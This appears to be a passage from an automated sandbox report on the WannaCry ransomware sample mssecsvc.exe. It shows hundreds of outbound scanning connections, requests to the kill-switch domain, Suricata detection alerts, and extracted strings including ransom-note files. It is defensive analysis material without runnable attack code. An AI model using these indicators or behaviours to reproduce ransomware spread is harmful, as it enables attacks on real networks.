2368 Flag of Indonesia Indonesia 181.150.211.68 64872 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 217.16.240.205 64873 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 171.142.40.43 64874 TCP mssecsvc.exe PID: 2368 Flag of United States United States 184.59.123.30 64875 TCP mssecsvc.exe PID: 2368 Flag of United States United States 139.181.161.156 64876 TCP mssecsvc.exe PID: 2368 Flag of United States United States 103.88.102.105 64877 TCP mssecsvc.exe PID: 2368 Flag of China China 96.63.23.215 64878 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 79.175.229.128 64879 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 21.212.85.143 64880 TCP mssecsvc.exe PID: 2368 Flag of United States United States 212.236.112.169 64881 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 170.62.201.74 64882 TCP mssecsvc.exe PID: 2368 Flag of United States United States 215.103.34.198 64883 TCP mssecsvc.exe PID: 2368 Flag of United States United States 96.102.98.169 64884 TCP mssecsvc.exe PID: 2368 Flag of United States United States 67.244.148.223 64885 TCP mssecsvc.exe PID: 2368 Flag of United States United States 125.227.34.248 64886 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 208.171.176.32 64887 TCP mssecsvc.exe PID: 2368 Flag of United States United States 23.186.211.242 64888 TCP mssecsvc.exe PID: 2368 Flag of Reserved Reserved 121.54.46.147 64889 TCP mssecsvc.exe PID: 2368 Flag of Philippines Philippines 210.127.197.74 64890 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 129.19.129.190 64891 TCP mssecsvc.exe PID: 2368 Flag of United States United States 94.53.64.239 64892 TCP mssecsvc.exe PID: 2368 Flag of Romania Romania 9.95.46.151 64893 TCP mssecsvc.exe PID: 2368 Flag of United States United States 222.1.44.244 64894 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 79.39.234.51 64895 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 75.246.112.154 64896 TCP mssecsvc.exe PID: 2368 Flag of United States United States 156.94.151.39 64897 TCP mssecsvc.exe PID: 2368 Flag of United States United States 116.182.203.152 64898 TCP mssecsvc.exe PID: 2368 Flag of China China 183.95.37.29 64899 TCP mssecsvc.exe PID: 2368 Flag of China China 212.52.236.56 64900 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 131.152.3.222 64901 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 117.132.80.49 64902 TCP mssecsvc.exe PID: 2368 Flag of China China 48.144.242.184 64903 TCP mssecsvc.exe PID: 2368 Flag of United States United States 169.164.114.162 64904 TCP mssecsvc.exe PID: 2368 Flag of United States United States 114.79.39.140 64905 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 90.32.91.134 64906 TCP mssecsvc.exe PID: 2368 Flag of France France 71.26.110.81 64907 TCP mssecsvc.exe PID: 2368 Flag of United States United States 97.214.250.21 64908 TCP mssecsvc.exe PID: 2368 Flag of United States United States 189.121.228.51 64909 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 80.150.214.53 64910 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 185.10.103.173 64911 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 5.145.129.52 64912 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 174.13.247.237 64913 TCP mssecsvc.exe PID: 2368 Flag of United States United States 100.76.237.218 64914 TCP mssecsvc.exe PID: 2368 Flag of Reserved Reserved 14.52.109.132 64915 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 203.234.43.199 64916 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 20.244.97.251 64917 TCP mssecsvc.exe PID: 2368 Flag of United States United States 130.113.76.62 64918 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 180.68.219.14 64919 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 135.189.234.238 64920 TCP mssecsvc.exe PID: 2368 Flag of United States United States 84.141.186.180 64921 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 79.122.219.169 64922 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 139.154.49.175 64923 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 81.22.252.252 64924 TCP mssecsvc.exe PID: 2368 Flag of Finland Finland 116.6.212.171 64925 TCP mssecsvc.exe PID: 2368 Flag of China China 107.26.154.143 64926 TCP mssecsvc.exe PID: 2368 Flag of United States United States 192.35.246.214 64927 TCP mssecsvc.exe PID: 2368 Flag of Portugal Portugal 198.36.110.88 64928 TCP mssecsvc.exe PID: 2368 Flag of United States United States 104.14.168.124 64929 TCP mssecsvc.exe PID: 2368 Flag of United States United States 137.17.40.232 64930 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 169.124.229.130 64931 TCP mssecsvc.exe PID: 2368 Flag of United States United States 70.39.228.250 64932 TCP mssecsvc.exe PID: 2368 Flag of United States United States 212.82.24.169 64933 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 120.191.161.183 64934 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 39.113.66.95 64935 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 170.206.117.64 64936 TCP mssecsvc.exe PID: 2368 Flag of United States United States 208.153.28.23 64937 TCP mssecsvc.exe PID: 2368 Flag of United States United States 154.252.96.71 64938 TCP mssecsvc.exe PID: 2368 Flag of Algeria Algeria 209.75.237.50 64939 TCP mssecsvc.exe PID: 2368 Flag of United States United States 171.163.167.55 64940 TCP mssecsvc.exe PID: 2368 Flag of United States United States 111.43.171.152 64941 TCP mssecsvc.exe PID: 2368 Flag of China China 102.128.165.103 64942 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 130.168.210.226 64943 TCP mssecsvc.exe PID: 2368 Flag of United States United States 83.70.134.165 64944 TCP mssecsvc.exe PID: 2368 Flag of Ireland Ireland 14.236.131.203 64945 TCP mssecsvc.exe PID: 2368 Flag of Viet Nam Viet Nam 43.80.128.110 64946 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 4.220.36.150 64947 TCP mssecsvc.exe PID: 2368 Flag of United States United States 58.14.131.168 64948 TCP mssecsvc.exe PID: 2368 Flag of China China 80.97.247.142 64949 TCP mssecsvc.exe PID: 2368 Flag of Romania Romania 222.154.229.48 64950 TCP mssecsvc.exe PID: 2368 Flag of New Zealand New Zealand 129.151.217.76 64951 TCP mssecsvc.exe PID: 2368 Flag of United States United States 90.212.84.170 64952 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 161.186.146.157 64953 TCP mssecsvc.exe PID: 2368 Flag of United States United States 209.111.16.227 64954 TCP mssecsvc.exe PID: 2368 Flag of United States United States 173.138.34.224 64955 TCP mssecsvc.exe PID: 2368 Flag of United States United States 113.186.9.131 64956 TCP mssecsvc.exe PID: 2368 Flag of Viet Nam Viet Nam 49.228.203.210 64957 TCP mssecsvc.exe PID: 2368 Flag of Thailand Thailand 142.132.132.185 64958 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 208.1.70.61 64959 TCP mssecsvc.exe PID: 2368 Flag of United States United States 1.198.218.249 64960 TCP mssecsvc.exe PID: 2368 Flag of China China 174.113.194.247 64961 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 177.101.138.235 64962 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 103.206.52.46 64963 TCP mssecsvc.exe PID: 2368 Flag of India India 12.140.103.252 64964 TCP mssecsvc.exe PID: 2368 Flag of United States United States 185.150.53.205 64965 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 74.179.222.93 64967 TCP mssecsvc.exe PID: 2368 Flag of United States United States 65.99.138.107 64968 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 157.28.42.166 64969 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 216.24.88.54 64970 TCP mssecsvc.exe PID: 2368 Flag of United States United States 115.225.14.147 64971 TCP mssecsvc.exe PID: 2368 Flag of China China 73.171.206.38 64972 TCP mssecsvc.exe PID: 2368 Flag of United States United States 39.59.227.59 64973 TCP mssecsvc.exe PID: 2368 Flag of Pakistan Pakistan 164.167.160.116 64974 TCP mssecsvc.exe PID: 2368 Flag of United States United States 42.234.131.217 64975 TCP mssecsvc.exe PID: 2368 Flag of China China 124.232.129.215 64976 TCP mssecsvc.exe PID: 2368 Flag of China China 76.91.77.224 64977 TCP mssecsvc.exe PID: 2368 Flag of United States United States 106.98.127.94 64978 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 167.228.253.33 64979 TCP mssecsvc.exe PID: 2368 Flag of United States United States 93.11.64.38 64980 TCP mssecsvc.exe PID: 2368 Flag of France France 14.101.10.191 64981 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 44.68.75.13 64982 TCP mssecsvc.exe PID: 2368 Flag of United States United States 189.68.254.100 64983 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 135.93.171.141 64984 TCP mssecsvc.exe PID: 2368 Flag of United States United States 164.203.13.37 64985 TCP mssecsvc.exe PID: 2368 Flag of United States United States 166.75.115.86 64986 TCP mssecsvc.exe PID: 2368 Flag of Chile Chile 26.110.139.217 64988 TCP mssecsvc.exe PID: 2368 Flag of United States United States 136.52.134.39 64989 TCP mssecsvc.exe PID: 2368 Flag of United States United States 190.175.174.52 64990 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 211.7.134.112 64991 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 152.187.117.31 64992 TCP mssecsvc.exe PID: 2368 Flag of United States United States 70.145.194.161 64993 TCP mssecsvc.exe PID: 2368 Flag of United States United States 112.254.32.152 64994 TCP mssecsvc.exe PID: 2368 Flag of China China 181.208.221.10 64995 TCP mssecsvc.exe PID: 2368 Flag of Venezuela Venezuela 39.213.130.196 64996 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 122.37.43.252 64997 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 60.195.54.163 64998 TCP mssecsvc.exe PID: 2368 Flag of China China 9.187.106.209 64999 TCP mssecsvc.exe PID: 2368 Flag of United States United States 115.64.54.62 65000 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 167.66.46.87 65001 TCP mssecsvc.exe PID: 2368 Flag of United States United States 157.13.217.104 65002 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 222.58.226.131 65003 TCP mssecsvc.exe PID: 2368 Flag of China China 100.35.120.196 65004 TCP mssecsvc.exe PID: 2368 Flag of United States United States 110.147.110.221 65005 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 18.45.138.253 65006 TCP mssecsvc.exe PID: 2368 Flag of United States United States 102.145.187.100 65007 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 98.182.152.89 65008 TCP mssecsvc.exe PID: 2368 Flag of United States United States 180.232.42.129 65009 TCP mssecsvc.exe PID: 2368 Flag of Philippines Philippines 222.26.192.183 65010 TCP mssecsvc.exe PID: 2368 Flag of China China 120.190.106.48 65012 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 220.79.187.165 65013 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 77.149.69.4 65014 TCP mssecsvc.exe PID: 2368 Flag of France France 132.20.157.62 65015 TCP mssecsvc.exe PID: 2368 Flag of United States United States 139.221.204.84 65016 TCP mssecsvc.exe PID: 2368 Flag of China China 36.51.89.67 65017 TCP mssecsvc.exe PID: 2368 Flag of China China 18.222.69.93 65018 TCP mssecsvc.exe PID: 2368 Flag of United States United States 200.46.127.103 65019 TCP mssecsvc.exe PID: 2368 Flag of Panama Panama 74.37.198.221 65020 TCP mssecsvc.exe PID: 2368 Flag of United States United States 217.178.243.152 65021 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 15.61.173.16 65022 TCP mssecsvc.exe PID: 2368 Flag of United States United States 68.89.251.234 65023 TCP mssecsvc.exe PID: 2368 Flag of United States United States 156.246.76.116 65024 TCP mssecsvc.exe PID: 2368 Flag of Seychelles Seychelles 183.150.215.29 65025 TCP mssecsvc.exe PID: 2368 Flag of China China 157.111.109.177 65026 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 123.226.212.201 65027 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 126.188.156.170 65028 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 115.43.174.21 65029 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 2.199.154.61 65030 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 106.205.94.71 65031 TCP mssecsvc.exe PID: 2368 Flag of India India 218.224.148.162 65032 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 219.46.124.5 65033 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 194.113.145.76 65034 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 186.8.170.189 65035 TCP mssecsvc.exe PID: 2368 Flag of Uruguay Uruguay 93.207.74.104 65036 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 122.224.3.79 65037 TCP mssecsvc.exe PID: 2368 Flag of China China 142.199.151.115 65038 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 178.191.141.239 65039 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 119.4.180.7 65040 TCP mssecsvc.exe PID: 2368 Flag of China China 93.32.21.187 65041 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 49.85.149.221 65042 TCP mssecsvc.exe PID: 2368 Flag of China China 200.195.83.133 65043 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 53.5.149.253 65044 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 12.232.48.37 65045 TCP mssecsvc.exe PID: 2368 Flag of United States United States 49.241.133.21 65046 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 196.127.68.211 65047 TCP mssecsvc.exe PID: 2368 Flag of Morocco Morocco 193.167.91.231 65048 TCP mssecsvc.exe PID: 2368 Flag of Finland Finland 33.98.208.81 65049 TCP mssecsvc.exe PID: 2368 Flag of United States United States 176.66.206.173 65050 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 91.171.204.38 65051 TCP mssecsvc.exe PID: 2368 Flag of France France 221.234.119.126 65052 TCP mssecsvc.exe PID: 2368 Flag of China China 155.172.48.32 65053 TCP mssecsvc.exe PID: 2368 Flag of United States United States 72.75.11.30 65054 TCP mssecsvc.exe PID: 2368 Flag of United States United States 198.234.167.132 65055 TCP mssecsvc.exe PID: 2368 Flag of United States United States 80.123.254.101 65056 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 57.101.47.76 65057 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 212.251.158.39 65058 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 32.178.188.49 65059 TCP mssecsvc.exe PID: 2368 Flag of United States United States 9.29.188.210 65060 TCP mssecsvc.exe PID: 2368 Flag of United States United States 187.173.164.185 65061 TCP mssecsvc.exe PID: 2368 Flag of Mexico Mexico 109.251.75.95 65062 TCP mssecsvc.exe PID: 2368 Flag of Ukraine Ukraine 149.173.32.188 65063 TCP mssecsvc.exe PID: 2368 Flag of United States United States 209.170.84.209 65064 TCP mssecsvc.exe PID: 2368 Flag of United States United States 186.127.206.156 65065 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 152.135.144.130 65066 TCP mssecsvc.exe PID: 2368 Flag of United States United States 137.201.35.40 65067 TCP mssecsvc.exe PID: 2368 Flag of United States United States 97.234.103.65 65068 TCP mssecsvc.exe PID: 2368 Flag of United States United States 62.35.222.91 65069 TCP mssecsvc.exe PID: 2368 Flag of France France 171.165.1.199 65070 TCP mssecsvc.exe PID: 2368 Flag of United States United States 191.159.97.186 65071 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 199.73.168.73 65072 TCP mssecsvc.exe PID: 2368 Flag of United States United States 22.22.71.241 65073 TCP mssecsvc.exe PID: 2368 Flag of United States United States 72.228.118.32 65074 TCP mssecsvc.exe PID: 2368 Flag of United States United States 115.220.254.113 65075 TCP mssecsvc.exe PID: 2368 Flag of China China 107.204.78.167 65076 TCP mssecsvc.exe PID: 2368 Flag of United States United States 129.12.30.240 65077 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 46.2.173.154 65078 TCP mssecsvc.exe PID: 2368 Flag of Turkey Turkey 96.101.225.79 65079 TCP mssecsvc.exe PID: 2368 Flag of United States United States 7.121.147.230 65080 TCP mssecsvc.exe PID: 2368 Flag of United States United States 178.229.251.222 65081 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 217.107.107.202 65082 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 121.21.178.112 65083 TCP mssecsvc.exe PID: 2368 Flag of China China 207.238.35.217 65084 TCP mssecsvc.exe PID: 2368 Flag of United States United States 164.27.219.251 65085 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 53.79.118.69 65086 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 166.82.119.100 65087 TCP mssecsvc.exe PID: 2368 Flag of United States United States 197.214.135.121 65088 TCP mssecsvc.exe PID: 2368 Flag of Congo Congo 61.183.179.13 65089 TCP mssecsvc.exe PID: 2368 Flag of China China 64.160.223.167 65090 TCP mssecsvc.exe PID: 2368 Flag of United States United States 216.31.178.239 65091 TCP mssecsvc.exe PID: 2368 Flag of United States United States 147.90.147.19 65092 TCP mssecsvc.exe PID: 2368 Flag of United States United States 196.125.204.64 65093 TCP mssecsvc.exe PID: 2368 Flag of Morocco Morocco 220.178.72.209 65094 TCP mssecsvc.exe PID: 2368 Flag of China China 157.48.218.235 65095 TCP mssecsvc.exe PID: 2368 Flag of India India 86.232.2.4 65096 TCP mssecsvc.exe PID: 2368 Flag of France France 65.166.244.23 65097 TCP mssecsvc.exe PID: 2368 Flag of United States United States 136.32.150.70 65098 TCP mssecsvc.exe PID: 2368 Flag of United States United States 202.125.153.71 65099 TCP mssecsvc.exe PID: 2368 Flag of Pakistan Pakistan 160.121.226.117 65100 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 179.2.176.172 65101 TCP mssecsvc.exe PID: 2368 Flag of Chile Chile 198.79.155.117 65102 TCP mssecsvc.exe PID: 2368 Flag of United States United States 83.141.162.60 65103 TCP mssecsvc.exe PID: 2368 Flag of France France 145.249.89.123 65104 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 17.27.144.17 65105 TCP mssecsvc.exe PID: 2368 Flag of United States United States 92.75.68.113 65106 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 211.139.73.134 65107 TCP mssecsvc.exe PID: 2368 Flag of China China 218.237.9.192 65108 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 173.84.41.226 65109 TCP mssecsvc.exe PID: 2368 Flag of United States United States 78.49.209.238 65110 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 109.168.205.33 65111 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 29.104.160.181 65112 TCP mssecsvc.exe PID: 2368 Flag of United States United States 157.88.79.203 65113 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 47.221.226.226 65114 TCP mssecsvc.exe PID: 2368 Flag of United States United States 82.146.186.93 65115 TCP mssecsvc.exe PID: 2368 Flag of Lebanon Lebanon 110.43.105.184 65116 TCP mssecsvc.exe PID: 2368 Flag of China China 5.83.63.34 65117 TCP mssecsvc.exe PID: 2368 Flag of Finland Finland 65.224.238.226 65118 TCP mssecsvc.exe PID: 2368 Flag of United States United States 117.108.31.229 65119 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 48.27.195.139 65120 TCP mssecsvc.exe PID: 2368 Flag of United States United States 17.97.142.121 65121 TCP mssecsvc.exe PID: 2368 Flag of United States United States 139.36.73.99 65122 TCP mssecsvc.exe PID: 2368 Flag of United States United States 146.30.137.158 65123 TCP mssecsvc.exe PID: 2368 Flag of United States United States 178.212.126.72 65124 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 152.233.222.200 65125 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 84.35.4.161 65126 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 171.83.237.17 65128 TCP mssecsvc.exe PID: 2368 Flag of China China 91.131.162.202 65129 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 96.27.182.195 65130 TCP mssecsvc.exe PID: 2368 Flag of United States United States 53.51.166.14 65131 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 97.220.239.156 65132 TCP mssecsvc.exe PID: 2368 Flag of United States United States 34.220.222.144 65133 TCP mssecsvc.exe PID: 2368 Flag of United States United States 143.78.228.87 65134 TCP mssecsvc.exe PID: 2368 Flag of United States United States 34.109.76.122 65135 TCP mssecsvc.exe PID: 2368 Flag of United States United States 174.223.36.28 65136 TCP mssecsvc.exe PID: 2368 Flag of United States United States 72.209.125.50 65137 TCP mssecsvc.exe PID: 2368 Flag of United States United States 81.114.233.62 65138 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 38.16.136.90 65139 TCP mssecsvc.exe PID: 2368 Flag of United States United States 105.142.92.224 65140 TCP mssecsvc.exe PID: 2368 Flag of Morocco Morocco 24.249.63.70 65141 TCP mssecsvc.exe PID: 2368 Flag of United States United States 156.235.120.197 65142 TCP mssecsvc.exe PID: 2368 Flag of Seychelles Seychelles 48.87.238.178 65143 TCP mssecsvc.exe PID: 2368 Flag of United States United States 206.218.122.189 65144 TCP mssecsvc.exe PID: 2368 Flag of United States United States 59.182.49.188 65146 TCP mssecsvc.exe PID: 2368 Flag of India India 105.97.189.146 65147 TCP mssecsvc.exe PID: 2368 Flag of Algeria Algeria 20.164.48.191 65148 TCP mssecsvc.exe PID: 2368 Flag of United States United States 20.232.115.252 65149 TCP mssecsvc.exe PID: 2368 Flag of United States United States 95.83.38.144 65150 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 34.209.163.164 65151 TCP mssecsvc.exe PID: 2368 Flag of United States United States 155.36.83.225 65152 TCP mssecsvc.exe PID: 2368 Flag of United States United States 207.104.148.7 65153 TCP mssecsvc.exe PID: 2368 Flag of United States United States 129.2.230.200 65154 TCP mssecsvc.exe PID: 2368 Flag of United States United States 113.20.245.213 65155 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 66.98.145.23 65156 TCP mssecsvc.exe PID: 2368 Flag of United States United States 131.36.59.104 65157 TCP mssecsvc.exe PID: 2368 Flag of United States United States 145.150.44.144 65158 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 27.179.169.87 65159 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 214.143.39.172 65161 TCP mssecsvc.exe PID: 2368 Flag of United States United States 202.249.34.223 65162 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 15.61.92.34 65163 TCP mssecsvc.exe PID: 2368 Flag of United States United States 203.254.209.132 65164 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 220.90.94.205 65165 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 90.116.65.202 65166 TCP mssecsvc.exe PID: 2368 Flag of France France 52.252.182.157 65167 TCP mssecsvc.exe PID: 2368 Flag of United States United States 36.241.250.165 65168 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 161.253.8.214 65169 TCP mssecsvc.exe PID: 2368 Flag of United States United States Contacted Countries HTTP Traffic Endpoint Request URL Data 104.17.40.137:80 (www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com) GET / GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache 200 OK 104.17.40.137:80 (www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com) GET / GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache 200 OK Memory Forensics String Context Stream UID http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Domain/IP reference 00013504-00002368-57047-2-00408140 Suricata Alerts Event Category Description SID 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 2024298 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 2 2024299 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 4 2024301 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 2024298 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 5 2024302 104.17.40.137:80 (TCP) A Network Trojan was detected WannaCry Kill-Switch Check 181710202 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 2 2024299 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 4 2024301 104.17.40.137:80 (TCP) A Network Trojan was detected ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 5 2024302 104.17.40.137:80 (TCP) A Network Trojan was detected WannaCry Kill-Switch Check 181710202 ET rules applied using Suricata. Extracted Strings All Details: All Strings (2684) Interesting (1522) 2a8efbfadd798f6111340f7c1c956bee.dll.bin (1088) PCAP (1) TWR5WB11.txt (8) attrib.exe:2344 (3) attrib.exe:3372 (1) attrib.exe:3744 (1) icacls.exe:2672 (6) icacls.exe:2972 (1) icacls.exe:3732 (2) m_chinese (simplified).wnry (136) m_chinese (traditional).wnry (190) m_filipino.wnry (55) m_finnish.wnry (40) m_french.wnry (37) m_indonesian.wnry (35) m_polish.wnry (44) m_portuguese.wnry (189) m_romanian.wnry (97) m_russian.wnry (75) m_spanish.wnry (32) m_swedish.wnry (39) m_vietnamese.wnry (260) mssecsvc.exe (1) mssecsvc.exe:2368 (72) mssecsvc.exe:2376 (221) network.pcap (6) rundll32.exe (1) rundll32.exe:2388 (26) screen_0.png (6) tasksche.exe:2136 (5) tasksche.exe:736 (6) http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 10/68 !""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !""#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ ((((( H ) u(}}M5 )A7u3P=h , trimite}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 .?AVtype_info@@ .rEgvWM. .rEgvWM.- /TgBhiCBjEUWKZ3cE5u2P9+4dR3jfU23tlCz/tCU8hgjapCOWZv9fexHIRiyk6zayNSHAh2iVimiE0iOxS/OuRpbpunWetUNUi99Qdn/77VgXoArmoKDc76T3E+7ZhAfuDwN3OlSK91LZOK6dIwkKmnGRK3X4xV2yO5aKv+9CVnoun6MC4OSmdKQrtN4zZnAShPGa3yLpqS3VvaD+W5IRkA9dhgJi1NlYPDhKQB2pr7GgprbLruE8xtGkqWGFtDoqzIXeXU3XV6NOsK7TlcHbBf5Al7hQA8QCIbE5g4ZfwyOEVURorlqBIt+8ILoXLDHd4XF8D8MOtDq2xGmU1IAd1PgxNHG+92GH8TnERYGX9VnUZtXsc5UYavH/ofc195afb6eDIyQMoe9TRTwtMqt/4hUf9WsgchDdcnuMO3cuT3t6WIJuf79GwRxwtyuK2VBk7hHuMISw3Q1l91m+JC21q3acLy+Sb+DXiK7216urYRdKw6rGC+Z9kGQ7zap088YFppnl+VxWphqZck/WQ 033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. 17514 (win7sp1_rtm.101119-1850) 